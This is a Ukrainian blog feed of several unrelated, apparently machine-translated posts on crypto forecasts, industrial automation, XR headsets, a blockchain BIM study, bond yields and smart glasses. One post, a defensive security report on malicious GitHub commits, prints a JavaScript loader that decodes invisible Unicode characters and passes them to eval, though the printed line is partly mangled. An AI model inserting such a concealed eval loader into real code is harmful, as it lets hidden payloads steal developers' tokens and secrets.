Blog

  • Прогнози щодо п’яти найкращих криптовалют на 2026 рік: долаючи цикли та долаючи межі

    Прогнози щодо п’яти найкращих криптовалют на 2026 рік: долаючи цикли та долаючи межі

    Автор оригіналу: Alexander S. Blume

    Оригінальний збірник: AididiaoJP, Foresight News

    Наприкінці минулого року я передбачив, що 2025 рік стане «роком трансформаційного впровадження» для цифрових активів, оскільки було досягнуто значного прогресу в напрямку основних додатків як на роздрібних, так і на інституційних ринках. Це передбачення було підтверджено декількома способами: збільшення інституційного розподілу, більше реальних активів, що токенізуються, і постійний розвиток правил, сприятливих для криптовалют, і ринкової інфраструктури.

    Ми також стали свідками швидкого зростання казначейських компаній цифрових активів, але шлях не був гладким. Відтоді, оскільки біткойн та Ethereum глибше інтегрувалися в традиційну фінансову систему та отримали більш широке застосування, їхні ціни зросли приблизно на 15%.

    Цифрові активи, безсумнівно, увійшли в мейнстрім. Заглядаючи вперед до 2026 року, ми побачимо, що ринок продовжуватиме дозрівати та розвиватися, а дослідницькі спроби поступляться місцем більш стійкому зростанню. Грунтуючись на останніх даних і нових тенденціях, ось мої п’ять прогнозів щодо ринку криптовалют на наступний рік.

    1. DATs 2.0: фінансові послуги біткойн отримають легітимність

    Компанії, що займаються казначейством цифрових активів, зазнали цього року стрімке розширення, але воно також супроводжувалося зростаючими проблемами. Від ароматизованих напоїв до марок сонцезахисних кремів, різні компанії змінили бренди на покупців і власників криптовалют, що призвело до скепсису інвесторів, регулятивного тиску, безгосподарності та занижених оцінок, усе це заважало цій моделі.

    Серед хвилі компаній, що розвиваються, деякі DAT почали тримати активи, які ми могли б назвати «альткойнами», але насправді більшість із цих проектів не мають історичної ефективності чи інвестиційної цінності та є лише спекулятивними інструментами. Проте в наступному році буде вирішено багато проблем на ринку DAT і його операційних стратегіях, і ті суб’єкти, які дійсно працюють на основі стандартів біткойн, знайдуть своє місце на публічному ринку.

    Багато DAT, навіть найбільші, побачать, що ціни на їхні акції почнуть ближче відповідати вартості їхніх базових активів. Керівництво зіткнеться з тиском з метою ефективнішого створення вартості для акціонерів. Загальновідомо, що компанія, яка володіє великою кількістю біткойнів, але нічого з ними не робить (зберігаючи значні витрати, такі як приватні літаки та високі гонорари за управління), не вигідна акціонерам.

    2. Стайблкойни будуть повсюдними

    2026 рік стане роком широкого впровадження стейблкойнів. Очікується, що USDC і USDT будуть використовуватися не тільки для торгівлі та розрахунків, але й глибше проникнуть у традиційні фінансові операції та продукти. Стайблкойни можуть з’явитися не тільки на криптовалютних біржах, але й у платіжних процесорах, корпоративних системах управління готівкою та навіть системах транскордонних розрахунків. Для компаній їхня привабливість полягає в можливості миттєвого розрахунку, не покладаючись на повільні або дорогі традиційні банківські канали.

    Однак, подібно до простору DAT, ринок стейблкойнів також може зазнати перенасичення: запускається занадто багато спекулятивних проектів стейблкойнів, з’являється занадто багато платіжних платформ і гаманців, орієнтованих на споживача, і занадто багато блокчейнів, які стверджують, що «підтримують» стейблкойни. До кінця цього року ми очікуємо, що багато спекулятивних проектів буде ліквідовано або придбано ринком, а консолідація відбудеться під більш відомими емітентами стейблкойнів, роздрібними торговцями, платіжними каналами та біржами/гаманцями.

    3. Ми попрощаємося з теорією «чотирирічного циклу».

    Тепер я офіційно прогнозую, що теорія «чотирирічного циклу» біткойна буде офіційно оголошена завершеною у 2026 році. Сьогоднішній ринок ширший і має більшу інституційну участь, він більше не працює у вакуумі. Натомість ми побачимо нову ринкову структуру та стійку купівельну спроможність, що веде біткойн до безперервної, поступової траєкторії зростання.

    Це означає, що загальна волатильність зменшиться, а його функція як засобу збереження вартості стане більш стабільною, що має залучити більше традиційних інвесторів та учасників ринку в усьому світі. Біткойн перетвориться з інструменту торгівлі на новий клас активів, що супроводжуватиметься більш стабільними потоками капіталу, довшими періодами утримання та загальною меншою кількістю так званих «циклів».

    4. Американським інвесторам буде дозволено доступ до офшорних ринків ліквідності

    Оскільки цифрові активи стають все більш масовими, у поєднанні зі сприятливою підтримкою державної політики, регулятивні зміни та структура ринку дозволять американським інвесторам отримати доступ до закордонної криптовалютної ліквідності. Можливо, це не станеться раптовою зміною, але з часом ми побачимо більше схвалених афілійованих установ, покращених рішень щодо зберігання та офшорних платформ, які відповідатимуть стандартам США.

    Деякі проекти стейблкойнів також можуть прискорити цю тенденцію. Захищені доларами стейблкоїни вже змогли перетікати через кордон таким чином, що традиційні банківські канали не можуть досягти. Оскільки великі емітенти виходять на регульовані офшорні ринки, очікується, що вони стануть мостами, що з’єднують капітал США з глобальними фондами ліквідності. Коротше кажучи, стейблкоїни можуть зрештою вирішити проблему, яку намагалися вирішити регулятори: з’єднати американських інвесторів із міжнародним ринком цифрових активів чітким і доступним для відстеження способом.

    Це надзвичайно важливо, оскільки офшорна ліквідність відіграє ключову роль у процесі визначення цін на ринку цифрових активів. Наступним етапом зрілості ринку стане стандартизація транскордонних ринкових операцій.

    5. Продукти стануть більш складними та вишуканими

    У новому році боргові та фондові продукти, пов’язані з біткойнами, а також торгові продукти, орієнтовані на доходи, деноміновані в біткойнах, досягнуть нового рівня складності. Інвестори, включно з тими, хто раніше ухилявся від цифрових активів, приймуть цей оновлений і більш складний пакет продуктів.

    Ймовірно, ми побачимо структуровані продукти, що використовують біткойни як заставу, а також інвестиційні стратегії, спрямовані на отримання реальних прибутків від впливу біткойнів (а не просто ставку на коливання цін). Продукти ETF також почнуть виходити за рамки простого відстеження цін, надаючи джерела прибутку через стратегії ставок або опціонів, хоча повністю диверсифіковані продукти загального прибутку наразі залишаються обмеженими. Деривативи стануть складнішими та краще інтегрованими зі стандартними системами ризиків. До 2026 року функція біткойна, швидше за все, перетвориться зі спекулятивного інструменту на ключову складову фінансової інфраструктури.

    ChainCatcher нагадує читачам раціонально дивитися на блокчейн, підвищувати обізнаність про ризики та бути обережними щодо різноманітних випусків віртуальних токенів і спекуляцій. Увесь вміст на цьому сайті є виключно ринковою інформацією або думками пов’язаних сторін і не є жодною формою інвестиційної консультації. Якщо ви знайшли конфіденційну інформацію у вмісті, будь ласка, натисніть «Повідомити», і ми негайно її опрацюємо.

  • Шлях до промисловості 5.0

    Шлях до промисловості 5.0

    За останні десятиліття промислова автоматизація змінила спосіб проектування, виробництва та перевірки деталей. Роботи зварюють швидше, датчики точніше виявляють дефекти, а цифрові системи з’єднують кожен рівень виробництва. Проте, коли ми наближаємося до середини цього десятиліття, відбувається тиха революція. Йдеться не про заміну людей, а про їх повернення до центру інновацій. Це суть Індустрії 5.0: конвергенція автоматизації, автономності та людяності.

    Індустрія 4.0 зосереджена на оцифровці та підключенні. Розумні фабрики почали спілкуватися одна з одною через Інтернет речей, а великі дані стали новою олією для виробництва. Машини нарешті могли бачити, вимірювати та звітувати про свою продуктивність. Але оскільки компанії досягають високих рівнів автоматизації, наступний рубіж полягає не лише в ефективності. Йдеться про інтелект і здатність до адаптації. Автономні системи, керовані штучним інтелектом, тепер можуть приймати рішення в режимі реального часу: коригувати параметри, діагностувати проблеми або навіть прогнозувати збої до їх виникнення. Цей перехід від автоматизації, яка зосереджується на автоматичному виконанні завдань, до автономності, яка дозволяє системам самостійно приймати рішення, знаменує фундаментальну еволюцію промислової філософії. В автоматизації люди програмують машину. В автономному режимі машина навчається, реагує та співпрацює.

    Автономія в промисловому контексті не означає повної незалежності від людського контролю, принаймні в найближчому майбутньому. Натомість це передбачає системи, здатні до самооптимізації, самодіагностики та саморегулювання в межах визначених меж. Наприклад, під час неруйнівного контролю автономні контрольні камери можуть розпізнати деталь, вибрати правильну процедуру перевірки, проаналізувати дані та класифікувати деталь як «ОК» або «Не ОК» без участі людини. Під час роботизованого зварювання системи вивчають зворотний зв’язок із датчиками, щоб регулювати швидкість і кути пальника, досягаючи узгоджених зварних швів навіть за невеликих варіацій у матеріалі чи позиціонуванні. На складальних лініях колаборативні роботи адаптуються до людського темпу, використовуючи штучний інтелект для розуміння жестів або виявлення помилок, забезпечуючи безпеку та точність одночасно. Кожен із цих прикладів показує автономію не як ізоляцію, а як співпрацю між інтелектуальними системами та кваліфікованими працівниками, партнерство, де машина справляється зі складністю та повторенням, а людина зосереджується на творчості, нагляді та вдосконаленні.

    Одним із найбільш неправильно зрозумілих аспектів Індустрії 5.0 є нібито заміна робочої сили. Насправді все навпаки. Європейська комісія визначає «Індустрію 5.0» як «бачення промисловості, яка спрямована не лише на ефективність і продуктивність як єдину мету, а й посилює роль і внесок промисловості в суспільство». У цій новій парадигмі людина знову опинилася в центрі виробництва, не як повторюваний оператор, а як дизайнер, контролер і особа, яка приймає етичні рішення. Техніки та інженери більше не просто обслуговують машини; це навчання алгоритмів, інтерпретація даних і встановлення стратегій. Завдяки таким технологіям, як доповнена реальність і цифрові близнюки, співробітники взаємодіють зі складними системами за допомогою інтуїтивно зрозумілих візуальних інтерфейсів, скорочуючи криву навчання та даючи їм змогу швидше приймати обґрунтовані рішення. Таким чином, автономія не зменшує ролі людини; це підносить його.

    Перехід від традиційної автоматизації до справжньої автономності не є процесом «підключи і працюй». Це вимагає глибокої інтеграції в таких дисциплінах, як механіка, електрика, програмне забезпечення та наука про дані, а також надійна інфраструктура для зв’язку та кібербезпеки. Автономні системи покладаються на точні та структуровані дані, але багато фабрик все ще працюють із фрагментованою інформацією або застарілими системами, які перешкоджають аналізу в реальному часі. Без надійних даних автономія неможлива. Ще одна проблема – сумісність. Машини від різних постачальників повинні говорити спільною цифровою мовою, але досягнення повної інтеграції старого та нового обладнання залишається основною перешкодою.

    Кібербезпека стає настільки ж критичною. Оскільки системи стають взаємопов’язаними та керованими штучним інтелектом, кількість вразливостей зростає. Автономні рішення вимагають довіри, а довіра вимагає захищених мереж, зашифрованих даних і постійного моніторингу. Але, мабуть, найважча трансформація — це людська. Рух до автономії вимагає зміни мислення, від контролю та командування до співпраці та навчання. Команди повинні приймати експерименти, приймати рішення на основі даних і постійно вдосконалюватися. Нарешті, компанії повинні переглянути спосіб вимірювання успіху. На відміну від традиційної автоматизації, автономність може не забезпечити миттєвого повернення інвестицій. Його цінність полягає в гнучкості, незмінній якості та прогнозованому обслуговуванні, факторах, які з часом збільшуються, а не демонструють миттєву економію коштів.

    Якість завжди була основою конкурентоспроможності в автомобільній промисловості. У міру того, як виробництво стає все більш складним із застосуванням електродвигунів, композитних матеріалів і мініатюрних компонентів, сама перевірка людиною більше не може гарантувати послідовність. Автономний контроль якості поєднує датчики, робототехніку та аналітику ШІ для створення систем, які розуміють, що таке якість. Уявіть собі інспекційну камеру, оснащену системами зору, які вчаться виявляти дефекти поверхні за допомогою машинного навчання, вихрових струмів або ультразвукових зондів, які автоматично виявляють внутрішні аномалії, і алгоритмів AI, які порівнюють живі вимірювання з цифровими стандартами, класифікуючи деталі та оновлюючи бази даних у режимі реального часу. Це вже не бачення майбутнього, а новий стандарт для виробників, які хочуть досягти бездефектного виробництва.

    Основою автономії є навчання. Алгоритми машинного навчання дозволяють обладнанню вдосконалювати свою продуктивність на основі досвіду. На практиці контрольоване навчання дозволяє системам класифікації дефектів з часом ставати точнішими. Навчання з підкріпленням дозволяє роботам адаптувати шляхи руху для оптимальної продуктивності. Навчання без нагляду допомагає виявити аномалії або відхилення, які не були заздалегідь запрограмовані. Чим більше даних обробляють ці системи, тим розумнішими вони стають. Головне — переконатися, що цей інтелект служить цілям, визначеним людиною, таким як безпека, якість і ефективність, а не працювати наосліп.

    Оскільки ми просуваємося до Індустрії 5.0, бачення — це не фабрика, наповнена незалежними роботами, а симбіотичне середовище, де людська інтуїція та точність машин підсилюють одне одного. Оператори використовують окуляри AR для візуалізації даних перевірки безпосередньо на деталі. Інженери аналізують інформаційні панелі, створені автоматично ШІ. Керівники приймають стратегічні рішення, спираючись на прогнозну аналітику, а не на посмертні звіти. Це поєднання навичок і систем створює нову індустріальну культуру, яка визначається не контролем, а співпрацею між типами інтелекту, людським і штучним.

    Автономія не станеться миттєво. Він розвиватиметься шляхом поступових кроків, розумніших роботів, кращого збору даних, прийняття рішень за допомогою штучного інтелекту та, зрештою, самооптимізації фабрик. Але кожна компанія, яка починає цей шлях зараз, формуватиме індустріальну ДНК наступного десятиліття. Для таких країн, як Мексика, де виробництво є стратегічною опорою економіки, перехід до автономії означає не лише технологічну модернізацію, але й стрибок у глобальній конкурентоспроможності. Компанії, які поєднують людські знання з автономними технологіями, очолить перехід від «Зроблено в Мексиці» до «Створено в Мексиці».

    Шлях від автоматизації до автономності — це не лише те, що машини стають розумнішими, а й індустрія, яка стає більш людяною. Коли ми вступаємо в епоху Індустрії 5.0, переможцями будуть ті фабрики, які поєднують точність роботів, інтелект даних і креативність людей. Автономія – це не кінець автоматизації; це його кінцева еволюція.

  • Galaxy XR представляє захоплюючий досвід Android XR з інтеграцією Gemini

    Galaxy XR представляє захоплюючий досвід Android XR з інтеграцією Gemini

    Остання інновація Samsung, Galaxy XR, покликана переосмислити те, як малий і середній бізнес використовує технології для підвищення продуктивності та залучення клієнтів. Завдяки нескінченним екранам, які плавно інтегрують віртуальну реальність (VR) і доповнену реальність (AR), ці пристрої не тільки пропонують нові способи взаємодії з програмами, але й відкривають двері для захоплюючих вражень, які можуть трансформувати операції.

    Galaxy XR має найсучасніший інтерфейс під керівництвом Gemini, інтелектуального помічника, який дозволяє користувачам керувати за допомогою голосу, жестів рук і рухів очей. Це надає значні переваги власникам малого бізнесу, які прагнуть оптимізувати роботу та покращити взаємодію з користувачем.

    Основні переваги включають доступ до різноманітних програм, оптимізованих для XR, поряд із існуючими програмами для Android. Пристрій підтримує популярні платформи та інноваційний контент XR, що дозволяє компаніям покращувати взаємодію з клієнтами, покращувати навчальні програми та досліджувати унікальні маркетингові стратегії.

    Популярні програми, включаючи HBO Max, YouTube і Google Maps, будуть покращені у форматі XR. Окрім стандартних варіантів, малі підприємства також можуть скористатися захоплюючим досвідом від таких брендів, як Adobe і Calm, які обслуговують різноманітні галузі, від оздоровлення до розваг. Ця універсальність дозволяє власникам бізнесу адаптувати програми, які подобаються їхній цільовій аудиторії.

    «У Galaxy XR Gemini Live може краще розуміти, на що дивляться та що роблять користувачі, полегшуючи отримання необхідної допомоги, просто спілкуючись з ними або виконуючи дії від їхнього імені в різних програмах», — заявили представники Samsung. Ця функція може значно скоротити час, витрачений на виконання повсякденних завдань, дозволяючи власникам замість цього зосередитися на стратегічному плануванні.

    З практичної точки зору, підприємства в нішевих ринках, таких як роздрібна торгівля, нерухомість і освіта, можуть отримати значну вигоду. Наприклад, роздрібні торговці можуть використовувати досвід XR для створення віртуальних магазинів, щоб надати клієнтам захоплюючий досвід покупок, не виходячи з власного дому. Агенти з нерухомості можуть використовувати XR для покращення досвіду покупки своїх клієнтів, пропонуючи віртуальні тури нерухомістю. Навчальні заклади можуть використовувати цю платформу для розробки захоплюючих навчальних модулів і надання студентам досвіду роботи з перших рук у складних середовищах.

    Однак використання технології XR не без труднощів. Власникам малого бізнесу слід враховувати такі фактори, як початкові інвестиції в апаратне та програмне забезпечення, а також навчання співробітників ефективному використанню цих інструментів. Вам також потрібно оцінити, які конкретні програми дають найвищу рентабельність інвестицій. Компанії повинні зважити потенційні переваги щодо своїх унікальних операційних вимог.

    Крім того, у міру розвитку технології XR важливо бути в курсі розробок і питань сумісності. Відкриті стандарти, що підтримуються Android XR, як-от OpenXR і Unity, означають постійні інновації, які вимагають гнучкості від технічно підкованих власників бізнесу.

    Крім того, є питання прийняття клієнта. У той час як молоді покоління, як правило, сприйнятливі до нових технологій, старшим споживачам може знадобитися більше заохочення, щоб отримати захоплюючий досвід. Вирішення цього вагання може мати вирішальне значення для максимізації цінності XR-технологій.

    Підсумовуючи, Galaxy XR являє собою крок вперед для власників малого бізнесу, які прагнуть запровадити інноваційні технології. Він обіцяє потенціал для покращення взаємодії з клієнтами та ефективності роботи завдяки захоплюючим функціям і різноманітним додаткам. Оскільки цифровий ландшафт продовжує змінюватися, розуміння та адаптація до цих подій може дати вам конкурентну перевагу.

    Прочитайте оригінальний прес-реліз, щоб дізнатися більше. тут.

    Зображення через Google


    Більше інформації: новини Android


  • Користувача GitHub скомпрометовано невидимим шкідливим програмним забезпеченням

    Не так давно ми виявили скомпрометовані розширення на Open VSX. Зараз з’являється нова хвиля атак, і всі ознаки вказують на того самого суб’єкта загрози.

    Техніка звучатиме знайомо: прихований шкідливий код, доданий невидимими символами Unicode Private Use Area (PUA). Ми вперше побачили цей трюк ще в березні, коли пакети npm використовували PUA для приховування корисних навантажень. Потім з’явився Open VSX. Тепер зловмисники, схоже, звернули увагу на GitHub, і їхні методи розвиваються. Доставка стає розумнішою, прихованою та набагато оманливішою.

    Хронологія кампанії Invisible Code

    • березень – Aikido вперше виявляє шкідливі пакети npm, які приховують корисні дані за допомогою символів Unicode PUA
    • травня – Ми публікуємо блог, у якому докладно розповідаємо про ризики невидимого Unicode та про те, як ним можна зловживати під час атак на ланцюги поставок.
    • 17 жовтня – Ми виявляємо скомпрометовані розширення на Open VSX за допомогою тієї самої техніки;
    • 18 жовтня – Koi Security аналізує зловмисне програмне забезпечення та корисне навантаження, називаючи їх Скляний черв'як
    • 31 жовтня – Ми виявили, що зловмисники перемістили фокус на сховища GitHub

    Стелс за дизайном

    Ми вперше повідомили про цю нову хвилю, коли розробник звернувся до нас, помітивши щось дивне: кілька його власних репозиторіїв GitHub були оновлені ним, принаймні згідно з історією комітів. Коміти виглядали законними. Вони містили реалістичні оновлення функцій, невеликі рефактори та навіть виправлення помилок, які відповідали стилю кодування проекту та повідомленням комітів. За винятком однієї відмінності, електронна адреса комітера була встановлена ​​на null. Але в кінці цих комітів кожне з них мало єдине ідентичне доповнення:

    const d=s=>[...s].map(c=>(c=c.codePointAt(0),c>=0xFE00&&c=0xE0100&&cb!==null);eval(Buffer.from(d(``)).toString('utf-8'));

    Чи можете ви помітити зловмисне програмне забезпечення? На перший погляд важко зрозуміти, що відбувається, але те, що стирчить, це те eval виклик, який часто використовується для динамічного виконання коду. Тільки вхід до eval виглядає порожнім. Однак порожній рядок перейшов до d() в eval зовсім не порожній. Він містить невидимі символи Unicode, прихований код, закодований за допомогою символів Private Use Area, як і в попередніх інцидентах npm і Open VSX.

    korystuvacha github skomprometovano nevydymym shkidlyvym programnym zabezpechennyam Користувача GitHub скомпрометовано невидимим шкідливим програмним забезпеченням

    Цього разу, однак, доставка набагато тонша. Все було згорнуто в одну лінію, майже не залишивши візуальної підказки. Шкідливий код заховано всередині того, що виглядає як звичайна діяльність проекту, прихованого в законних комітах.

    Цілком можливо, що доброякісні на вигляд зміни були створені ШІ, щоб зробити коміти більш переконливими. Оскільки ці коміти стосувалися конкретного проекту, можна припустити, що зловмисник міг використовувати великі мовні моделі для створення реалістичних контекстно-залежних змін коду, ефективно використовуючи штучний інтелект для маскування свого корисного навантаження в рамках звичайної діяльності розробки.

    Розшифровані символи PUA призводять до сценарію, який виглядає дуже схожим на зразки Open VSX, що свідчить про те, що ми, ймовірно, маємо справу з тим самим загрозою. Схоже, що декодований сценарій використовує Solana як канал доставки, отримує та виконує корисне навантаження з блокчейну. Виходячи з інцидентів Open VSX, ці корисні навантаження здатні викрадати токени та інші секрети. Якщо облікові дані або токени CI зібрано, їх можна буде повторно використати для передачі того самого корисного навантаження в інші сховища, що, у свою чергу, може забезпечити розповсюдження, схоже на черв’яка, як ми бачили під час попередніх атак.

    Ознаки більшої атаки

    Визначивши зловмисний шаблон, ми почали шукати, чи не з’явилося таке ж корисне навантаження деінде. Швидкий пошук шаблону на GitHub швидко виявив інші сховища, які показують той самий підозрілий рядок.

    1761935492 94 korystuvacha github skomprometovano nevydymym shkidlyvym programnym zabezpechennyam Користувача GitHub скомпрометовано невидимим шкідливим програмним забезпеченням

    У цих проектах було створено новий комміт, який на перший погляд виглядав цілком законним. Коміти містили звичайні зміни, такі як оновлення документації, збільшення версії та невеликі покращення коду, але кожне з них також включало те саме приховане корисне навантаження, додане в кінці файлу.

    Наразі ця кампанія, схоже, обмежена проектами JavaScript, розміщеними на GitHub. Ми не помітили жодних ознак подібного зламу в npm чи інших екосистемах, хоча ми уважно стежимо за цим, оскільки той самий зловмисник може спробувати розширити свій охоплення.

    Еволюція загроз, розумніший захист

    Ці інциденти підкреслюють необхідність кращої обізнаності про неправильне використання Unicode, особливо про небезпеку невидимих ​​символів приватної зони використання. Розробники можуть захищатися лише від того, що вони бачать, і зараз більшість інструментів не показують їм достатньо. Ні веб-інтерфейс GitHub, ні код VS не відображали жодних ознак того, що щось не так. У попередніх випадках, таких як атаки Open VSX, деякі IDE справді відображали непомітні індикатори поруч із прихованими символами, але тут ці засоби захисту були відсутні.

    Хоча ця техніка не є новою, вона явно розвивається. Попередні загрози, такі як Shai Hulud, просто впроваджували шкідливі сценарії після інсталяції, завдяки чому їх було відносно легко виявити. Тепер зловмисники поєднують шкідливий код із реалістичними комітами та вдосконаленнями для конкретного проекту, можливо, за допомогою ШІ, щоб їхні зміни виглядали природними. Це ознака того, куди прямує ландшафт загроз.

    В Айкідо ми адаптуємося до тієї самої еволюції. Ми використовуємо великі мовні моделі серед інших систем виявлення, щоб виявити ці дедалі непомітніші загрози. Оскільки зловмисники використовують штучний інтелект, щоб приховати свої наміри, наш захист має стати настільки ж розумним, щоб розкрити його.

  • Відкритий обмін BIM на віртуальному диску Blockchain 3.0: відстежуваний підхід семантичної диференціальної транзакції

    Відкритий обмін BIM на віртуальному диску Blockchain 3.0: відстежуваний підхід семантичної диференціальної транзакції

    Висвітлення статті | 31 жовтня 2025 р

    Преса вищої освіти

    Це дослідження очолює професор Сюе Фан (iLab, Факультет архітектури, Університет Гонконгу). Команда запропонувала нову парадигму обміну даними Open BIM з підтримкою блокчейну для сприяння ефективній співпраці.

    Дослідницька група виявила, що традиційний підхід до обміну даними Open BIM на основі файлів стикається з проблемами надмірності, відстежуваності та безпеки. Натхненний природою поступового розвитку BIM і технології Blockchain, фіксуйте поступові зміни BIM, оскільки транзакції та обмін через мережу blockchain можуть бути рішенням. По-перше, представлено новий підхід tSDT. tSDT використовує функцію семантичного відстеження, яка систематизує змінені семантичні ідентифікатори для створення двох словників відображення, щоб вирішити дилему між надмірністю даних і відстежуваністю. Потім скорочені семантичні зміни BIM фіксуються через tSDT для обміну в мережі блокчейну Hyperledger Fabric. openBIMdisk, веб-програма з інтуїтивно зрозумілими інтерфейсами користувача, реалізує tSDT і Blockchain.

    Запропонований підхід tSDT і парадигму обміну даними з підтримкою блокчейну було застосовано до реального модульного інтегрованого будівельного проекту. Експериментальні результати показали, що tSDT досяг мінімальної надмірності BIM для збереження та відновлення всіх змін BIM, використовуючи в середньому лише 0,007% дискового простору. openBIMdisk полегшив керування версіями BIM і семантичне відстеження на рівні об’єкта з часом відгуку 5,3 мс.

    Перегляньте статтю: Open BIM exchange on Blockchain 3.0 virtual disk: A traceable semantic differential transaction approach https://doi.org/10.1007/s42524-024-4006-x

    Відмова від відповідальності: AAAS і EurekAlert! не несе відповідальності за точність випусків новин, розміщених на EurekAlert! установами, що вносять внесок, або для використання будь-якої інформації через систему EurekAlert.

  • Дохідність 10-річних казначейських облігацій склала 4,10% у великому тижневому відскоку завдяки обережності ФРС

    Дохідність 10-річних казначейських облігацій склала 4,10% у великому тижневому відскоку завдяки обережності ФРС

    The 10-річна скарбниця прибутковість залишилася відносно незмінною в п'ятницю після зниження процентної ставки цього тижня Федеральним резервом і більш агресивного тону щодо майбутньої політики з боку центральних банків.

    Прибутковість 10-річних облігацій, еталонний показник, який використовується для всього, починаючи від боргів по кредитних картках, іпотечних кредитів і студентських позик, востаннє знизилася менш ніж на 1 базисний пункт до 4,085% після того, як в один момент торкнулася 4,10% раніше того ж дня. Вихідність на 2-річна скарбниця папір був нижчим більш ніж на 2 базисних пункти на 3,592%, тоді як 30-річна облігація прибутковість зросла менше, ніж базисний пункт до 4,656%.

    Один базисний пункт дорівнює 0,01%, а дохідність і ціни рухаються в протилежних напрямках.

    Поточний рівень прибутковості 10-річних казначейських облігацій вказує на зміну сильнішого ринку облігацій за кілька днів до рішення центрального банку в середу, коли прибутковість на короткий час опустилася нижче 4,00%.

    Цього тижня Федеральна резервна система знизила процентні ставки на чверть процентного пункту до цільового діапазону 3,75%-4,00% — найнижчого рівня за три роки — голосуванням 10-2. Голова ФРС Джером Пауелл попередив на прес-конференції після цього, що чергове зниження ставки в грудні “далеко від” “передбаченого”. Центральний банк не збирається в листопаді.

    Президент Федеральної резервної системи Канзас-Сіті Джеффрі Шмід у п’ятницю заявив, що занепокоєння щодо майбутньої інфляції спонукало його проголосувати проти зниження цього тижня на чверть пункту базової ставки ФРС.

    «Ринки акцій близькі до рекордно високих значень, спреди корпоративних облігацій дуже вузькі, а випуск високоприбуткових облігацій високий», — сказав Шмід у заяві. «Ніщо з цього не свідчить про те, що фінансові умови є особливо жорсткими або що політика є обмежувальною».

    Президент Федеральної резервної системи Далласа Лорі Логан також заявила в п'ятницю, що проголосувала б проти зниження процентної ставки цього тижня, зазначивши, що “це економічна перспектива не вимагає зниження ставок”. Що стосується перспективи повторного скорочення на грудневій зустрічі, Логан сказала, що їй буде «важко» без «чітких доказів того, що інфляція впаде швидше, ніж очікувалося, або що ринок праці охолоне швидше».

    Президент ФРС Клівленда Бет Хаммак і президент ФРС Атланти Рафаель Бостік також планують виступити пізніше цього дня.

    Оскільки через чотиритижневу зупинку роботи уряду США надходило так мало економічних даних, очі були прикуті до останніх даних Чиказького індексу менеджерів із закупівель, який за жовтень становив 43,8. Це краще, ніж прогноз StreetAccount 42,0.

    — Джефф Кокс з CNBC зробив додатковий звіт

  • Чи замінять розумні окуляри ваш смартфон?

    Чи замінять розумні окуляри ваш смартфон?

    Як людина, яка глибоко занурена в еволюцію технологій на робочому місці, я вважаю, що ми є свідками поворотного моменту в історії комп’ютерів. Традиційний смартфон, наш надійний цифровий компаньйон протягом більше десяти років, стикається зі своїм першим серйозним суперником за домінування на основному екрані.

    Якщо ви керівник підприємства або технологічний професіонал, який оцінює наступну хвилю інструментів продуктивності, поява розумних окулярів на основі штучного інтелекту означає більше, ніж поступове оновлення. Ця зміна може докорінно змінити те, як співробітники отримують доступ до інформації, співпрацюють і виконують щоденні завдання.

    Поточна парадигма смартфонів у професійних налаштуваннях

    Смартфони домінували в професійних робочих процесах з моменту дебюту iPhone у 2007 році, перетворившись на кишенькові комп’ютери, які керують усім: від електронної пошти до корпоративних програм. Сучасне робоче місце значною мірою залежить від мобільних пристроїв для зв’язку, доступу до даних і продуктивних програм. Однак це домінування супроводжується властивими обмеженнями, які далекоглядні організації починають сумніватися.

    Смартфон вимагає постійного перемикання уваги між фізичним середовищем і цифровим екраном. Працівники часто переривають виконання завдань, щоб перевірити сповіщення, відповісти на повідомлення або отримати доступ до важливої ​​інформації. Це перемикання контексту створює проблеми з продуктивністю, які багато підприємств прагнуть усунути.

    Розумні окуляри AI: нова комп’ютерна парадигма

    Розумні окуляри на основі штучного інтелекту, прикладом яких є такі пристрої, як розумні окуляри Meta Ray-Ban, і нові корпоративні рішення від таких компаній, як Vuzix і RealWear, пропонують принципово інший підхід до роботи на робочому місці. Ці пристрої накладають цифрову інформацію безпосередньо на поле зору користувача, забезпечуючи бездоганну інтеграцію між фізичним і цифровим середовищами.

    На відміну від смартфонів, які потребують уваги, розумні окуляри надають контекстну інформацію, не порушуючи основного фокусу користувача. Інженер, який перевіряє обладнання, може отримати доступ до технічних посібників, отримати вказівки в реальному часі та спілкуватися з віддаленими експертами, зберігаючи візуальний контакт із їхнім робочим середовищем.

    Порівняння взаємодії з користувачем: Hands-Free проти Hand-Held

    Різниця між розумними окулярами зі штучним інтелектом і смартфонами в професійних налаштуваннях істотна. Розумні окуляри усувають потребу фізично діставати, розблокувати та керувати пристроєм. Голосові команди та керування жестами забезпечують природнішу взаємодію, яка виглядає більш інтуїтивно зрозумілою, ніж традиційні сенсорні інтерфейси.

    «Розумні окуляри надають інформацію саме тоді і там, де вона вам потрібна, без когнітивних витрат на перемикання між фізичним і цифровим контекстами». – Аналітик з досліджень технологій підприємства

    Працівники на місцях особливо виграють від цього підходу без рук. Техніки можуть отримати доступ до покрокових процедур ремонту, використовуючи обидві руки для складних завдань. Співробітники складу можуть отримувати інструкції з комплектування та оновлення запасів без використання кишенькових пристроїв. Медичні працівники можуть переглядати інформацію про пацієнта, підтримуючи пряму взаємодію з пацієнтом.

    Сильна сторона смартфона полягає в його універсальності та сформованій екосистемі. Корпоративні програми, комунікаційні платформи та інструменти підвищення продуктивності вдосконалювалися протягом багатьох років розробки, орієнтованої на мобільні пристрої. Однак ця сама перевага стає обмеженням, коли постійна взаємодія пристрою порушує ефективність робочого процесу.

    Сценарії робочого місця, де розумні окуляри Excel

    Виробництво та польове обслуговування

    Виробничі середовища демонструють трансформаційний потенціал розумних окулярів. Працівники конвеєра можуть отримувати відгуки про контроль якості в режимі реального часу, отримувати доступ до цифрових робочих інструкцій і спілкуватися з керівниками, не перериваючи своїх фізичних завдань. Ця безперебійна доставка інформації зменшує кількість помилок і підвищує продуктивність, дотримуючись протоколів безпеки.

    Спеціалісти з обслуговування на місцях отримують величезну користь від вільного доступу до технічної документації, віддаленої експертної допомоги та накладень доповненої реальності, які виділяють компоненти обладнання. Такі компанії, як Microsoft, задокументували значне підвищення ефективності, коли техніки використовують пристрої змішаної реальності для складних ремонтів.

    Знаннєва робота та співпраця

    Інтелектуальні працівники виявляють потенціал розумних окулярів для покращення фокусування та зменшення відволікання. Сповіщення, оновлення календаря та сповіщення про зв’язок можна доставляти контекстно без візуальних збоїв під час перевірки смартфона. Відеоконференції можуть відбуватися природним шляхом під час перегляду фізичних документів або участі в бесідах віч-на-віч.

    Можливості співпраці розширюються, коли розумні окуляри дозволяють спільно використовувати досвід доповненої реальності. Члени команди можуть переглядати 3D-моделі, коментувати фізичні простори та співпрацювати над проектами незалежно від їх фізичного розташування.

